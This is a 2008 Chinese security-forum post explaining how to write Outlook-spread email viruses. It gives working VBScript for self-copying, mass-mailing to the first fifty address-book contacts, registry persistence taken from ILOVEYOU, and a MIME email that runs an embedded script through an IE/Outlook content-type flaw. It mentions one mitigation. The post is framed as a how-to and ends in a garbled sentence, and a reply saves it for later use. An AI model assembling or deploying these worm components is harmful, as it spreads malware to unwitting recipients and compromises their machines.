Board logo

标题: 如何利用OutLook漏洞编写病毒脚本 [打印本页]

作者: Peace4once    时间: 2008-9-29 09:27     标题: 如何利用OutLook漏洞编写病毒脚本

如何利用OutLook漏洞编写病毒脚本
据称目前已经发现唯一不能通过OutLook传播的病毒口蹄疫已经被发现,看来微软也可以得以一阵子了。开个玩笑,OutLook在传播病毒上真是臭名昭著,像iloveyou,梅莉莎等等产生过很大破坏力的病毒都是通过OutLook传播的。其根本原因就是OutLook的人性化,与脚本的高度集成,复杂性等等,正是由于这些原因导致了病毒的传播。

    下面我们看一下OutLook传播病毒的机理:
   
    首先看看病毒的几大特征:自我复制性,传播性,潜伏性。我们收先看看自我复制性。病毒要向传播必须将自身复制借由其他邮件或本身发送出去,OutLook传播的病毒基本上都是由VBScript编写的,其自我复制的原理基本上是利用程序将本身的脚本内容复制一份到一个临时文件,然后再在传播的环节将其作为附件发送出去。我们看看脚本是怎么样完成这个功能的。
   
    Set so=CreateObject("Scripting.FileSystemObject")
    so.GetFile(WScript.ScriptFullName).Copy("C:\dateiname.vbs")

    就是这么两行就可以将自身复制到c盘根目录下dateiname.vbs这个文件。第一行是创建一个文件系统对象,第二行前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到c盘根目录下dateiname.vbs这个文件。这就是大多数利用VBscript编写的病毒的一个特点。从这里可以看出,禁止了FileSystemObject这个对象就可以很有效的控制这种病毒的传播。下面的这条命令可以禁止文件系统对象。
   
    regsvr32 scrrun.dll /u
   
    我们再看看传播性。病毒需要传播,电子邮件病毒的传播无疑是通过电子邮件传播的。对于OutLook来说地址簿的功能相当不错,可是也给病毒的传播打开了方便之门。几乎所有通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。看看如下的代码:
   
    Set ol=CreateObject("Outlook.Application")
    On Error Resume Next
    For x=1 To 50
    Set Mail=ol.CreateItem(0)
    Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
    Mail.Subject="Betreff der E-Mail"
    Mail.Body="Text der E-Mail"
    Mail.Attachments.Add("C:\dateiname.vbs")
    Mail.Send
    Next
    ol.Quit

    这一小段代码的功能是向地址簿中的前50个用户发送电子邮件,并将脚本自己作为附件。第一行是创建一个Outlook的对象。下面是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。
   
    至于潜伏,则多数是修改注册表等信息以判断各种条件及取消一些限制。比如下面从Iloveyou病毒中取出的部分代码:
   
    On Error Resume Next

    dim wscr,rr
    set wscr=CreateObject("WScript.Shell")
    rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
    if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
    end if

    很明显是调整脚本语言的超是设置。下面的一段代码则是修改注册表,使得每次系统启动自动执行脚本:
   
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
   
    其中MSKernel32.vbs和Win32DLL.vbs是病毒脚本的一个副本。
    ILoveYou病毒还做了一些其它的修改。
   
    从上面可以看出其实写一个通过OutLook传播的电子邮件病毒很简单。但是作为附件传播,这种传播的效率可能就会打些折扣。下面的一种方法是根据最新的IE的漏洞利用的。下面是这个漏洞的一些情况:
   
From: "xxxxx"
Subject: mail
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
    type="multipart/alternative";
    boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal

--1
Content-Type: multipart/alternative;
    boundary="2"


--2
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
I will create the file C:\deleteme.txt<BR>
</BODY>
</HTML>

--2--

--1
Content-Type: audio/x-wav;
    name="hello.vbs"
Content-Transfer-Encoding: quoted-printable
Content-ID: <THE-CID>

set objFileSystem =3D CreateObject("Scripting.FileSystemObject")
set objOutputFile =3D objFileSystem.CreateTextFile("C:\deleteme.txt", 1)
objOutputFile.writeline("You can delete this file.")
objOutputFile.close
msgbox "I have created the file : c:\deleteme.txt"


--1

    上面的这个程序的例子是表明当双击附件的时候OutLook是不会提示你安全信息的,它是直接执行的。这仅仅是将整个上面这些作为附件发送的情况。其实这个文件直接发送给对方,对方只要将焦点移到这一主题上就会执行这个脚本。因此这一漏洞将更加有效的传播电子邮件病毒。产生上面这个漏洞的原因大概是采我行!!
作者: 风议员    时间: 2008-9-29 09:27

收藏,备用,现在是看不懂...
顶下.谢谢LZ一个不错的电气仪表论坛:http://dqyb.job.topzj.com/index.php




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2